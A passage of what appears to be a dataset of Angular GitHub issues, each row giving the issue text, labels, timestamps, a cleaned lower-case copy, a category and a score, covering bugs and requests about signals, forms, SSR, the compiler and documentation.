VM112:1 Uncaught SyntaxError: Failed to execute 'querySelector' on 'Document': '<user-roles-card></user-roles-card>' is not a valid selector.
    at <anonymous>:1:10
```

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/ghnbmjxv?file=src%2Fmain.ts

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 21.2.7
Angular           : 21.2.9
Node.js           : 22.22.2
Package Manager   : npm 9.6.4
Operating System  : win32 x64

┌───────────────────────────┬───────────────────┬───────────────────┐
│ Package                   │ Installed Version │ Requested Version │
├───────────────────────────... [TRUNCATED]",area: compiler,2026-04-28 07:27:37+00:00,2026-04-28 13:53:12+00:00,3,area: compiler,0.2678,component selector parsing too permissive which angular package s are the source of the bug core is this a regression no description one of my co workers hallucinated the following component selector wanted to be cocky and tell him he surely didn t test his changes turns out this selector is actually somehow working can t find anywhere in the documentation that this should work i tried to somehow determine how this boils down to a working css selector but couldn t determine what dark magic makes this work chrome doesn t like the syntax at least please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli angular node js package manager npm win x package installed version requested version truncated,others,0.7964
angular/angular,4338371578,`@ViewChild` query index mismatch when mixed with `viewChild()` signals in JIT mode,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

When a component mixes decorator-based `@ViewChild()` queries with signal-based `viewChild()` queries and the application uses **JIT compilation** (`""aot"": false`), the first `@ViewChild` decorator query receives `undefined` instead of the expected `TemplateRef`. All subsequent decorator queries are shifted by 1 position — each receives the `TemplateRef` that should have been assigned to the previous query.

### Minimal reproduction

**StackBlitz**:  https://stackblitz.com/edit/stackblitz-starters-oezfonih?file=angular.json 

**Component:**

```typescript
import { Component, ViewChild, viewChild, TemplateRef, AfterViewInit } from '@angular/core';

@Component({
  selector: 'app-root',
  template: `
    <ng-template #templateA>Content A</ng-template>
    <ng-template #templateB>Content B</ng-template>
    <ng-template #templateC>Content C</ng-template>

    <p>templateA: {{ templateARef ? 'resolved' : 'UNDEFINED' }}</p>
    <p>templateB: {{ templateBSignal() ? 'resolved' : 'UNDEFINED' }}</p>
    <p>templateC: {{ templateCRef ? 'resolved' : 'UNDEFINED' }}</p>
  `,
})
export class App implements AfterViewInit {
  @ViewChild('templateA', { static: true }) templateARef!: TemplateRef<any>;
  readonly templateBSignal = viewChild<TemplateRef<any>>('templateB');
  @ViewChild('templateC', { static: true }) templateCRef!: TemplateRef<any>;

  ngAfterViewInit() {
    console.... [TRUNCATED]","area: core,core: content projection",2026-04-27 19:32:11+00:00,2026-04-28 19:03:43+00:00,1,"area: core,core: content projection",0.9802,query index mismatch when mixed with signals in jit mode which angular package s are the source of the bug core is this a regression yes description when a component mixes decorator based queries with signal based queries and the application uses jit compilation the first decorator query receives instead of the expected all subsequent decorator queries are shifted by position each receives the that should have been assigned to the previous query stackblitz component typescript import component viewchild viewchild templateref afterviewinit from angular core component selector app root template content a content b content c templatea templatearef resolved undefined templateb templatebsignal resolved undefined templatec templatecref resolved undefined export class app implements afterviewinit viewchild templatea static true templatearef templateref readonly templatebsignal viewchild templateb viewchild templatec static true templatecref templateref ngafterviewinit console truncated,others,0.8126
angular/angular,4335639837,Firefox: Cross Origin Embedder Policies (COEP),"### Describe the problem that you experienced

On the https://angular.dev/events/v21, firefox shows a warning instead of a youtube vide.

<img width=""887"" height=""778"" alt=""Image"" src=""https://github.com/user-attachments/assets/6e5defea-176e-45f5-9713-373285a8fffc"" />

how it looks in chrome?

<img width=""911"" height=""670"" alt=""Image"" src=""https://github.com/user-attachments/assets/f0995b5d-19ee-4d3c-b56d-7424dd3e93f8"" />


### Enter the URL of the topic with the problem

https://angular.dev/events/v21",,2026-04-27 12:14:01+00:00,2026-04-27 12:15:47+00:00,2,nan,0.0012,firefox cross origin embedder policies coep describe the problem that you experienced on the firefox shows a warning instead of a youtube vide how it looks in chrome enter the url of the topic with the problem,others,-0.7783
angular/angular,4332483576,signal  form validateStandardSchema use in applyEach rasie NG0992,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

Yes

### Description

```
const itemZodSchema = z.object({
  code: z.string(),
  metadata: {
    long: z.number(),
    width: z.number(),
    height: z.number(),
    m3: z.number(),
    weight: z.number(),
    uom: z.string(),
  },
}); 
form = form(
    this.model,
    (f) => {
      validateStandardSchema(f as any, this.orderSchema);
      applyEach(f.items, (item) => validateStandardSchema(item, itemZodSchema));
    },
    {
      submission: {
        action: async (form, detail) => {
          console.log(detail.root());
          const result = await PurchaseOrder.createOrder(this.model() as any);
          console.log({ result });
        },
      },
    },
  );
```

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

_No response_","needs reproduction,area: forms,forms: signals,gemini-triaged",2026-04-27 01:03:20+00:00,2026-04-30 11:17:01+00:00,5,"needs reproduction,area: forms,forms: signals,gemini-triaged",3.4262,signal form validatestandardschema use in applyeach rasie ng which angular package s are the source of the bug forms is this a regression yes description please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else no response,others,-0.7783
angular/angular,4330248292,feat(vscode-extension): Add right click generate using console for easier schematics generation,"### Which @angular/* package(s) are relevant/related to the feature request?

_No response_

### Description

Currently in order to generate without a third party extensions one must:
1. Move terminal to correct folder
2. Write the ng generate command without any help from the angular extension

What I suggest is adding a right click generate option that allows you to choose which schematic to run (auto find schematics) and once selected will run that schematics in a terminal on the correct folder (at that point x-prompt for example will take over).

### Proposed solution

1. Add a new menu option using `explorer/context` contribution
2. Add a new commad for generation

The command will do the following:
1. Scan workspace including all node_modules and find schematics candidates
2. Show using `showQuickPick` a select for which schematic to run from the list
3. Will create a terminal or reuse (close + open) if already created, cd to path and run the command without parameters (except interactive)

This allows for a lightweight solution leveraging x-prompt or any other prompting in the schematics itself while also handling the pain points of schematics discovery and running in a specific path.

### Alternatives considered

1. Keep doing it manually
2. Create UI which is much more complicated
3. Use third party tools",area: vscode-extension,2026-04-26 06:51:07+00:00,2026-05-11 20:03:49+00:00,4,area: vscode-extension,15.5505,feat vscode extension add right click generate using console for easier schematics generation which angular package s are relevant related to the feature request no response description currently in order to generate without a third party extensions one must move terminal to correct folder write the ng generate command without any help from the angular extension what i suggest is adding a right click generate option that allows you to choose which schematic to run auto find schematics and once selected will run that schematics in a terminal on the correct folder at that point x prompt for example will take over proposed solution add a new menu option using contribution add a new commad for generation the command will do the following scan workspace including all node modules and find schematics candidates show using a select for which schematic to run from the list will create a terminal or reuse close open if already created cd to path and run the command without parameters except interactive this allows for a lightweight solution leveraging x prompt or any other prompting in the schematics itself while also handling the pain points of schematics discovery and running in a specific path alternatives considered keep doing it manually create ui which is much more complicated use third party tools,feature,0.0839
angular/angular,4329144365,Align Router API docs with `inject` based DI,"### Describe the problem that you experienced

Updates Router documentation examples to reflect modern `inject` based dependency injection instead of constructor injection.

See 
- https://next.angular.dev/api/router/CanActivateChild
- https://next.angular.dev/api/router/CanActivate
- https://next.angular.dev/api/router/ActivatedRouteSnapshot
- https://next.angular.dev/api/router/ActivatedRoute
- https://next.angular.dev/api/router/CanDeactivate
- https://next.angular.dev/api/router/CanMatch
 ","area: router,gemini-triaged",2026-04-25 20:28:27+00:00,2026-04-28 00:02:30+00:00,3,"area: router,gemini-triaged",2.1486,align router api docs with based di describe the problem that you experienced updates router documentation examples to reflect modern based dependency injection instead of constructor injection see,documentation,-0.4019
angular/angular,4325697345,README says 'Create workspace' instead of 'Create a workspace',"I noticed a small grammar issue in the root `README.md` under **Development Setup**.

Current wording:

> Create workspace:

Suggested wording:

> Create a workspace:

Location:
https://github.com/angular/angular/blob/main/README.md#setting-up-a-project

Tiny issue, but it is user-facing documentation so I wanted to report it.","area: docs,gemini-triaged",2026-04-24 21:31:03+00:00,2026-04-28 00:08:04+00:00,1,"area: docs,gemini-triaged",3.109,readme says create workspace instead of create a workspace i noticed a small grammar issue in the root under development setup current wording create workspace suggested wording create a workspace location tiny issue but it is user facing documentation so i wanted to report it,documentation,0.4939
angular/angular,4324198008,[Angular 22] - FormValueControl bug when using a directive on html-inputs,"### Which @angular/* package(s) are the source of the bug?

forms

### Is this a regression?

No

### Description

When a **native HTML `<input>` element** is enhanced with a custom Angular component/directive
that implements `FormValueControl<T>` (selector: `input[my-input-directive]`), 
the Signal Forms integration does not work out of the box as it did with CVA. However, when I create a wrapper component around an HTML input, everything works as expected.

To make Signal Forms work in the directive, the obvious fix is to add host bindings:

```typescript
host: {
  '[value]': 'value() ?? """"',   // show signal value in DOM
  '(input)': 'onInput($event)',  // propagate user input back to signal
}
```

This fixes Signal Forms, but breaks Reactive Forms (formControlName / [formControl]).
I've created a demo that clearly shows what works and what doesn't. It also contains the host binding that can be uncommented.

Is this the intended behaviour and am I missing something, or should this work as I expected?

### Please provide a link to a minimal reproduction of the bug

https://stackblitz.com/edit/angular-22-formvaluecontrol-issue

### Please provide the exception or error you saw

```true

```

### Please provide the environment you discovered this bug in (run `ng version`)

```true
Angular CLI       : 22.0.0-next.6
Angular           : 22.0.0-next.9
Node.js           : 24.15.0
Package Manager   : npm 10.9.3
Operating System  : win32 x64

┌───────────────────────────────────┬───... [TRUNCATED]","area: forms,forms: signals",2026-04-24 16:14:43+00:00,2026-04-28 14:38:16+00:00,10,"area: forms,forms: signals",3.933,angular formvaluecontrol bug when using a directive on html inputs which angular package s are the source of the bug forms is this a regression no description when a native html element is enhanced with a custom angular component directive that implements selector the signal forms integration does not work out of the box as it did with cva however when i create a wrapper component around an html input everything works as expected to make signal forms work in the directive the obvious fix is to add host bindings this fixes signal forms but breaks reactive forms formcontrolname formcontrol i ve created a demo that clearly shows what works and what doesn t it also contains the host binding that can be uncommented is this the intended behaviour and am i missing something or should this work as i expected please provide a link to a of the bug please provide the exception or error you saw please provide the environment you discovered this bug in run true angular cli next angular next node js package manager npm win x truncated,bug,0.7717
angular/angular,4334667711,SSR silently falls back to CSR after security patch (GHSA-x288-3778-4hhx) — allowedHosts not mentioned in migration guide,"### Command

update

### Is this a regression?

- [x] Yes, this behavior used to work in the previous version

### The previous version in which this bug was not present was

21.1.4

### Description

The security patch for GHSA-x288-3778-4hhx introduced a mandatory `allowedHosts`
configuration for `CommonEngine`. When it is not configured after upgrading, Angular SSR
silently falls back to client-side rendering — returning a bare `<app-root></app-root>`
with HTTP 200 and no thrown exception.

Any application upgrading via `ng update` loses SSR silently with:
- No build error
- No test failure
- No runtime exception
- The page appears fully functional (Angular bootstraps client-side)

The only signal is a `console.error` to Node.js stdout that is trivially missed,
especially in containerized environments where Node stdout is mixed with other logs.

`ng update` has no mention of this requirement, and the migration guide is silent about it.
The only documentation is buried in the security guide, far from any upgrade path.

### Minimal Reproduction

1. Generate a standard SSR app on a version **before** the security patch (last unaffected: 21.1.4):
   ```
   ng new repro --ssr
   cd repro
   ```

2. Confirm SSR works on the unaffected version:
   ```
   ng build
   node dist/repro/server/server.mjs &
   curl -s http://localhost:4000/ | grep -c ""app-root><""
   # Returns 0 — app-root has content, SSR is working
   kill %1
   ```

3. Upgrade to a patched version (first affected: 21.... [TRUNCATED]","open for contributions,area: docs",2026-04-24 13:07:15+00:00,2026-04-29 20:59:15+00:00,3,"open for contributions,area: docs",5.3278,ssr silently falls back to csr after security patch ghsa x hhx allowedhosts not mentioned in migration guide command update is this a regression x yes this behavior used to work in the previous version the previous version in which this bug was not present was description the security patch for ghsa x hhx introduced a mandatory configuration for when it is not configured after upgrading angular ssr silently falls back to client side rendering returning a bare with http and no thrown exception any application upgrading via loses ssr silently with no build error no test failure no runtime exception the page appears fully functional angular bootstraps client side the only signal is a to node js stdout that is trivially missed especially in containerized environments where node stdout is mixed with other logs has no mention of this requirement and the migration guide is silent about it the only documentation is buried in the security guide far from any upgrade path generate a standard ssr app on a version before the security patch last unaffected confirm ssr works on the unaffected version upgrade to a patched version first affected truncated,documentation,-0.8979
angular/angular,4323087044,"Search results about signals on v18.angular.dev link to 404 ""Page Not Found"" pages","### Describe the problem that you experienced

On https://v18.angular.dev/, clicking on search results about signals (returned via the Cmd+K search modal) leads to a ""Page Not Found 🙃"" page, even though the entries appear in the search index.

https://github.com/user-attachments/assets/5124d97d-9776-4d6f-bf9b-3e3a2b9cff81

to reproduce

1. Go to https://v18.angular.dev/
2. Press Cmd+K to open the search modal
3. Type signals
4. Click any of the results about signals (e.g. https://v18.angular.dev/essentials/signals#)
5. The destination renders as ""Page Not Found 🙃"" with the message: ""If you think this is a mistake, please open an issue so we can fix it.""
6. Most search results about signals are affected, not just one link.

note: I was able to access only https://v18.angular.dev/guide/signals

### Enter the URL of the topic with the problem

https://v18.angular.dev/
",,2026-04-24 13:02:45+00:00,2026-04-24 13:55:06+00:00,2,nan,0.0364,search results about signals on v angular dev link to page not found pages describe the problem that you experienced on clicking on search results about signals returned via the cmd k search modal leads to a page not found page even though the entries appear in the search index to reproduce go to press cmd k to open the search modal type signals click any of the results about signals e g the destination renders as page not found with the message if you think this is a mistake please open an issue so we can fix it most search results about signals are affected not just one link note i was able to access only enter the url of the topic with the problem,others,-0.5165
angular/angular,4323006293,`TestBed.overrideComponent` breaks module imports,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

Yes

### Description

Trying to stub a single component with `TestBed.overrideComponent` seems to break imports of modules.
I think this is a regression and may have to do with the new vitest builder as I encountered this while migrating a project from jest to vitest. I.e. this used to work in the jest tests.

Or maybe I'm just doing something wrong / haven't fully understood how `overrideComponent` works, but it's at least unintuitive.

### Reproduction

Plain, fresh generated Angular 21 project. No specific vitest configuration or similar.

```typescript
// app.ts
import { Component, NgModule } from '@angular/core';

@Component({
  selector: 'test-component-1',
  template: '',
})
export class TestComponent1 {}

@NgModule({
  imports: [TestComponent1],
  exports: [TestComponent1],
})
export class TestModule1 {}

@Component({
  selector: 'test-component-2',
  template: '',
})
export class TestComponent2 {}

@Component({
  selector: 'app-root',
  imports: [TestModule1, TestComponent2],
  template: `
    <test-component-1></test-component-1>
    <test-component-2></test-component-2>
  `,
})
export class App {}
```

```typescript
// app.spec.ts
import { Component } from '@angular/core';
import { TestBed } from '@angular/core/testing';
import { App, TestComponent2 } from './app';

@Component({
  selector: 'test-component-2',
  template: '',
  // avoid NG0912
  host: { 'some-binding': 'som... [TRUNCATED]",,2026-04-24 12:48:26+00:00,2026-04-24 14:11:47+00:00,3,nan,0.0579,breaks module imports which angular package s are the source of the bug core is this a regression yes description trying to stub a single component with seems to break imports of modules i think this is a regression and may have to do with the new vitest builder as i encountered this while migrating a project from jest to vitest i e this used to work in the jest tests or maybe i m just doing something wrong haven t fully understood how works but it s at least unintuitive reproduction plain fresh generated angular project no specific vitest configuration or similar typescript app spec ts import component from angular core import testbed from angular core testing import app testcomponent from app component selector test component template avoid ng host some binding som truncated,others,-0.5927
angular/angular,4315396150,Angular hot reloading (HMR) not working properly with new Typescript 6.0 options,"### Which @angular/* package(s) are the source of the bug?

Don't known / other

### Is this a regression?

No

### Description

I'm not really sure if this is an Angular issue or a Typescript issue, but the reality is that the developer will get the feeling that Angular HRM is broken.

This happened to me in 3 different machines, with Angular 21 in all, but different versions of 21.
When updating to TS 5.9.3, you will get warnings in tsconfig.ts about `Option 'baseUrl' is deprecated and will stop functioning in TypeScript 7.0. Specify compilerOption '""ignoreDeprecations"": ""6.0""' to silence this error.`

To fix it, you should remove it and use `""rootDir"": ""./src""`, and change some paths if you use it, adding ""./""

When I set that changes, All the build is working fine. 
But, when you make changes to HTML/CSS files, HMR detects it, Angular CLI detects it as usual but nothing happens in the browser. You need to hit F5 to changes to work.

Also tested the polling option suggested from IA, but didn't work. Only a full refresh resolves the problem. Of course, changing .ts files force a full reload, so is the same as F5. Happens in main browsers: Firefox, Chrome, Edge.

If you go back to `baseUrl` original config, all works fine, as always.

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
HTML/CSS changes not reflected in the browser
```

### Please provide the environment you discovered this ... [TRUNCATED]","area: core,core: hot module replacement (HMR)",2026-04-23 10:51:46+00:00,2026-04-24 08:01:38+00:00,2,"area: core,core: hot module replacement (HMR)",0.8819,angular hot reloading hmr not working properly with new typescript options which angular package s are the source of the bug don t known other is this a regression no description i m not really sure if this is an angular issue or a typescript issue but the reality is that the developer will get the feeling that angular hrm is broken this happened to me in different machines with angular in all but different versions of when updating to ts you will get warnings in tsconfig ts about to fix it you should remove it and use and change some paths if you use it adding when i set that changes all the build is working fine but when you make changes to html css files hmr detects it angular cli detects it as usual but nothing happens in the browser you need to hit f to changes to work also tested the polling option suggested from ia but didn t work only a full refresh resolves the problem of course changing ts files force a full reload so is the same as f happens in main browsers firefox chrome edge if you go back to original config all works fine as always please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this truncated,feature,-0.6416
angular/angular,4307615216,Signals documentation not found for angular v18 documentation,"### Describe the problem that you experienced

Page not found response for essentials/signals for angular v18

### Enter the URL of the topic with the problem

https://v18.angular.dev/essentials/signals#

### Describe what you were looking for in the documentation

Documentation for Signals for angular v18

### Describe the actions that led you to experience the problem

_No response_

### Describe what you want to experience that would fix the problem

_No response_

### Add a screenshot if that helps illustrate the problem

<img width=""872"" height=""358"" alt=""Image"" src=""https://github.com/user-attachments/assets/a1d2f1be-bca1-4a40-b28d-79d78ad1a76c"" />

### If this problem caused an exception or error, please paste it here

```true

```

### If the problem is browser-specific, please specify the device, OS, browser, and version

```true

```

### Provide any additional information here in as much as detail as you can

```true

```",,2026-04-22 08:11:04+00:00,2026-04-22 08:29:27+00:00,2,nan,0.0128,signals documentation not found for angular v documentation describe the problem that you experienced page not found response for essentials signals for angular v enter the url of the topic with the problem describe what you were looking for in the documentation documentation for signals for angular v describe the actions that led you to experience the problem no response describe what you want to experience that would fix the problem no response add a screenshot if that helps illustrate the problem if this problem caused an exception or error please paste it here if the problem is browser specific please specify the device os browser and version provide any additional information here in as much as detail as you can,documentation,-0.936
angular/angular,4305096076,[Signal Forms] What should happen when submit() is called on a submitting() field?,"Currently, `submit()` marks the field as submitting, awaits the submit action, then finally marks the field as _not_ submitting:

https://github.com/angular/angular/blob/09b9a62a25a8f8abf9ef21dfe8a17b4135badd3f/packages/forms/signals/src/api/structure.ts#L417-L429

Consequently, if a second `submit()` call is made while one is pending, the first submission action to resolve will mark the field as _not_ submitting, despite the fact that the other action is still pending. Finally, when the last action resolves, it'll overwrite the previous submission results (errors, validity).

What _should_ be the behavior? Should we track all pending submit actions and derived the `submitting()` state from that? Should we prevent subsequent submits while pending?","area: forms,needs: discussion,forms: signals",2026-04-21 20:24:18+00:00,2026-05-05 18:14:05+00:00,9,"area: forms,needs: discussion,forms: signals",13.9096,signal forms what should happen when submit is called on a submitting field currently marks the field as submitting awaits the submit action then finally marks the field as not submitting consequently if a second call is made while one is pending the first submission action to resolve will mark the field as not submitting despite the fact that the other action is still pending finally when the last action resolves it ll overwrite the previous submission results errors validity what should be the behavior should we track all pending submit actions and derived the state from that should we prevent subsequent submits while pending,help,0.296
angular/angular,4307286790,"withHashLocation is not compatible with SSR (throws TypeError: Invalid URL when parsing ""#/"")","### Which @angular/* package(s) are the source of the bug?

router

### Is this a regression?

Yes

### Description

When the `withHashLocation` feature is used under SSR, the build will hang after throwing an exception.

### Please provide a link to a minimal reproduction of the bug

https://github.com/eblocha/ng-ssr-hash-routing

### Please provide the exception or error you saw

```true
ERROR TypeError: Invalid URL
    at new URL (node:internal/url:819:25)
    at HD (file:///Users/elliot.blocha/projects/scratch/ssr-test/.angular/prerender-root/fa99184b-c1cb-46ed-80af-134e4ceff1a7/main.server.mjs:40:31721)
    at e.replaceState (file:///Users/elliot.blocha/projects/scratch/ssr-test/.angular/prerender-root/fa99184b-c1cb-46ed-80af-134e4ceff1a7/main.server.mjs:40:32574)
    at e.replaceState (file:///Users/elliot.blocha/projects/scratch/ssr-test/.angular/prerender-root/fa99184b-c1cb-46ed-80af-134e4ceff1a7/main.server.mjs:31:54829)
    at e.replaceState (file:///Users/elliot.blocha/projects/scratch/ssr-test/.angular/prerender-root/fa99184b-c1cb-46ed-80af-134e4ceff1a7/main.server.mjs:31:52733)
    at e.setBrowserUrl (file:///Users/elliot.blocha/projects/scratch/ssr-test/.angular/prerender-root/fa99184b-c1cb-46ed-80af-134e4ceff1a7/main.server.mjs:40:95885)
    at e.handleRouterEvent (file:///Users/elliot.blocha/projects/scratch/ssr-test/.angular/prerender-root/fa99184b-c1cb-46ed-80af-134e4ceff1a7/main.server.mjs:40:95478)
    at Object.next (file:///Users/elliot.blocha/projects/s... [TRUNCATED]","regression,area: server,gemini-triaged",2026-04-21 15:50:18+00:00,2026-04-28 00:08:38+00:00,5,"regression,area: server,gemini-triaged",6.3461,withhashlocation is not compatible with ssr throws typeerror invalid url when parsing which angular package s are the source of the bug router is this a regression yes description when the feature is used under ssr the build will hang after throwing an exception please provide a link to a of the bug please provide the exception or error you saw true error typeerror invalid url at new url node internal url at hd file users elliot blocha projects scratch ssr test angular prerender root fa b c cb ed af e ceff a main server mjs at e replacestate file users elliot blocha projects scratch ssr test angular prerender root fa b c cb ed af e ceff a main server mjs at e replacestate file users elliot blocha projects scratch ssr test angular prerender root fa b c cb ed af e ceff a main server mjs at e replacestate file users elliot blocha projects scratch ssr test angular prerender root fa b c cb ed af e ceff a main server mjs at e setbrowserurl file users elliot blocha projects scratch ssr test angular prerender root fa b c cb ed af e ceff a main server mjs at e handlerouterevent file users elliot blocha projects scratch ssr test angular prerender root fa b c cb ed af e ceff a main server mjs at object next file users elliot blocha projects s truncated,bug,-0.4404
angular/angular,4301339469,signals: effect() may run multiple times when reading both computed() and its source signal,"### Which @angular/* package(s) are the source of the bug?

core

### Is this a regression?

No

### Description

When an `effect()` reads both a `computed()` signal and the source signal used by that computed, the effect may execute multiple times for a single source update.

This is surprising because the dependency graph overlaps transitively, but the effect appears to be scheduled more than once.

### Minimal reproduction

```ts
const count = signal(0);

const doubled = computed(() => {
  console.log('computed runs');
  return count() * 2;
});

effect(() => {
  console.log('effect runs');
  console.log(doubled());
  console.log(count());
});

count.set(1);
```

### Please provide a link to a minimal reproduction of the bug

_No response_

### Please provide the exception or error you saw

```true
No exception is thrown.

Observed behavior is duplicate or repeated effect execution after a single source signal update when the same effect reads both:
- a computed signal
- the source signal used by that computed

This appears in console output rather than as a runtime error.
```

### Please provide the environment you discovered this bug in (run `ng version`)

```true

```

### Anything else?

I am reporting this because the behavior is surprising from a dependency-graph perspective.

A `computed()` already depends on the source signal, so when an `effect()` reads both the computed value and the original source, it is not obvious that a single update may trigger multiple exec... [TRUNCATED]",,2026-04-21 08:34:48+00:00,2026-04-21 08:54:19+00:00,2,nan,0.0136,signals effect may run multiple times when reading both computed and its source signal which angular package s are the source of the bug core is this a regression no description when an reads both a signal and the source signal used by that computed the effect may execute multiple times for a single source update this is surprising because the dependency graph overlaps transitively but the effect appears to be scheduled more than once please provide a link to a of the bug no response please provide the exception or error you saw please provide the environment you discovered this bug in run anything else i am reporting this because the behavior is surprising from a dependency graph perspective a already depends on the source signal so when an reads both the computed value and the original source it is not obvious that a single update may trigger multiple exec truncated,others,0.2232
angular/angular,4295283742,@defer(on viewport) eagerly renders when trigger is translated out with translateX(100%),"# Bug: `@defer (on viewport(...))` eagerly renders when trigger is translated out of viewport

## Which area(s) are affected?

- `@angular/core` defer blocks (`@defer`)
- Viewport trigger handling (`on viewport(...)`)

## Description

When the defer trigger element is visually moved out of view using `transform: translateX(100%)`, deferred content can render eagerly.

In this repro, the trigger is inside an overflow-hidden container and translated to the right by 100%. The deferred block should stay unloaded until the trigger intersects the viewport, but can render immediately.

## Reproduction

Public repro repo: `https://github.com/davidweiss2-fp/angular-defer-viewport-translatex-repro`

Commands:

```bash
npm install
npm start
```

Open `http://localhost:4200/` and observe the `renderCount` value.

## Current behavior

`renderCount` can become `1` on initial load, even though the viewport trigger is translated out of view.

## Expected behavior

`renderCount` should remain `0` until the trigger is actually in the viewport.

## Regression test

This repo includes a focused regression-check test in `src/app/app.spec.ts`:

```bash
npm test -- --watch=false --browsers=ChromeHeadless
```

The test checks that deferred content is still absent while the trigger is translated offscreen.

## Environment

Angular CLI: 20.3.24  
Angular: 20.3.19  
Node: 20.19.5  
npm: 10.8.2  
OS: darwin arm64","area: core,core: defer",2026-04-20 11:27:28+00:00,2026-04-20 20:50:03+00:00,4,"area: core,core: defer",0.3907,defer on viewport eagerly renders when trigger is translated out with translatex bug eagerly renders when trigger is translated out of viewport which area s are affected defer blocks viewport trigger handling description when the defer trigger element is visually moved out of view using deferred content can render eagerly in this repro the trigger is inside an overflow hidden container and translated to the right by the deferred block should stay unloaded until the trigger intersects the viewport but can render immediately reproduction public repro repo commands open and observe the value current behavior can become on initial load even though the viewport trigger is translated out of view should remain until the trigger is actually in the viewport regression test this repo includes a focused regression check test in the test checks that deferred content is still absent while the trigger is translated offscreen environment angular cli angular node npm os darwin arm,others,0.5267
angular/angular,4289328352,perf(compiler): reuse temporary variable slots across non-overlapping safe navigation expressions,"## Problem

The Angular template compiler generates one `let` declaration per safe navigation temporary variable, even when their live ranges do not overlap. This means templates with multiple safe navigation chains produce redundant variable declarations in the compiled output.

For example, a template like:

```html
{{ a()?.b }} {{ c()?.d }}
```

currently compiles to something like:

```js
let tmp_0_0, tmp_1_0;
// ...
tmp_0_0 = ctx.a(), tmp_0_0 == null ? null : tmp_0_0.b
tmp_1_0 = ctx.c(), tmp_1_0 == null ? null : tmp_1_0.d
```

The two expressions are evaluated sequentially — `tmp_0_0` is dead by the time `tmp_1_0` is assigned — but the compiler does not detect this and allocates a separate slot for each.

This is explicitly called out in the compiler source as a known gap:

> `packages/compiler/src/template/pipeline/src/phases/temporary_variables.ts:18`
>
> ```
> // TODO: Sometimes, it will be possible to reuse names across different subexpressions. For example,
> // in the double keyed read `a?.[f()]?.[f()]`, the two function calls have non-overlapping scopes.
> // Implement an algorithm for reuse.
> ```

## Solution

This implements a new compiler phase (`optimizeTemporaries`) that applies **linear-scan register allocation** (Poletto & Sarkar, 1999) to temporary variables. The algorithm:

1. **Collects live ranges** — for each `XrefId`, record the position of its first `AssignTemporaryExpr` (start) and last `ReadTemporaryExpr` (end) across all expressions in the op lis... [TRUNCATED]","area: compiler,gemini-triaged",2026-04-18 22:18:42+00:00,2026-04-19 10:50:19+00:00,3,"area: compiler,gemini-triaged",0.522,perf compiler reuse temporary variable slots across non overlapping safe navigation expressions problem the angular template compiler generates one declaration per safe navigation temporary variable even when their live ranges do not overlap this means templates with multiple safe navigation chains produce redundant variable declarations in the compiled output for example a template like currently compiles to something like the two expressions are evaluated sequentially is dead by the time is assigned but the compiler does not detect this and allocates a separate slot for each this is explicitly called out in the compiler source as a known gap solution this implements a new compiler phase that applies linear scan register allocation poletto sarkar to temporary variables the algorithm collects live ranges for each record the position of its first start and last end across all expressions in the op lis truncated,others,0.7003
angular/angular,4277320228,Add a `FormGroupControl` or similar to allow parts of a signal form with multiple controls to be abstracted,"### Which @angular/* package(s) are relevant/related to the feature request?

forms

### Description

As far as I can tell, there isn't a way to cleanly nest components that contain inputs into a signals form. When nesting classes that implement `FormValueControl`, there doesn't seem to be a way to  pass the validation information to the nested components, especially if you access sub-components of the form value:

``` typescript
type Child = {
  a: number,
  b: number,
};
type FormContents = {
   first: Child,
   second: child
}

const childSchema  = schema<Child>((path) => {
  require(path.a);
});
```
If you apply the `childSchema` into a form that contains a form with the type `FormContents`, there doesn't seem to  be a good way to get to those error messages, especially if you wrote a `FormValueControl` component to abstract away entering a `Child` object.

### Proposed solution

I propose that a new interface, `FormGroupControl<T>`, and maybe a corresponding `formGroup` function be added that facilitates this use case. I'm not sure what the API would look like, but making the `formGroup` function similar to the current `form` function would make it easy to learn.

The idea would be to have the ability to use the `[formField]` directive in nested components to pass error messages down to  the nested components. This could be an opportunity to apply component-specific validation schemas, which would solve some of the validation issues.

Here's a rough example of what I've ... [TRUNCATED]","area: forms,forms: signals,gemini-triaged",2026-04-16 17:06:31+00:00,2026-04-17 15:25:26+00:00,2,"area: forms,forms: signals,gemini-triaged",0.9298,add a or similar to allow parts of a signal form with multiple controls to be abstracted which angular package s are relevant related to the feature request forms description as far as i can tell there isn t a way to cleanly nest components that contain inputs into a signals form when nesting classes that implement there doesn t seem to be a way to pass the validation information to the nested components especially if you access sub components of the form value if you apply the into a form that contains a form with the type there doesn t seem to be a good way to get to those error messages especially if you wrote a component to abstract away entering a object proposed solution i propose that a new interface and maybe a corresponding function be added that facilitates this use case i m not sure what the api would look like but making the function similar to the current function would make it easy to learn the idea would be to have the ability to use the directive in nested components to pass error messages down to the nested components this could be an opportunity to apply component specific validation schemas which would solve some of the validation issues here s a rough example of what i ve truncated,others,0.8784
angular/angular,4275952619,Docs: Signal forms - Async Operations - code does not compile as such,"### Describe the problem that you experienced

The example for async validation for ""Creating a custom validation rule"" does not compile.

```typescript
@Component({
    selector: 'app-registration',
    imports: [FormField],
    template: `...`,
})
export class Registration {
    registrationModel = signal({username: ''});

    private cache = new Map<string, {available: boolean}>();

    // Custom resource factory with caching
    createUsernameResource = (usernameSignal: Signal<string | undefined>) => {
        return resource({
            params: () => usernameSignal(),
            loader: async ({params: username}) => {
                if (!username) return undefined;

                // Check cache first
                const cached = this.cache.get(username);
                if (cached !== undefined) return cached;

                // Use injected service for validation
                const result = {available: Math.random() > 0.5};

                // Cache result
                this.cache.set(username, result);
                return result;
            },
        });
    };

    registrationForm = form(this.registrationModel, (schemaPath) => {
        validateAsync(schemaPath.username, {
            params: ({value}) => { // <-- Error is here
                const username = value();
                return username.length >= 3 ? username : undefined;
            },
            factory: this.createUsernameResource,
            onSuccess: (result) => {
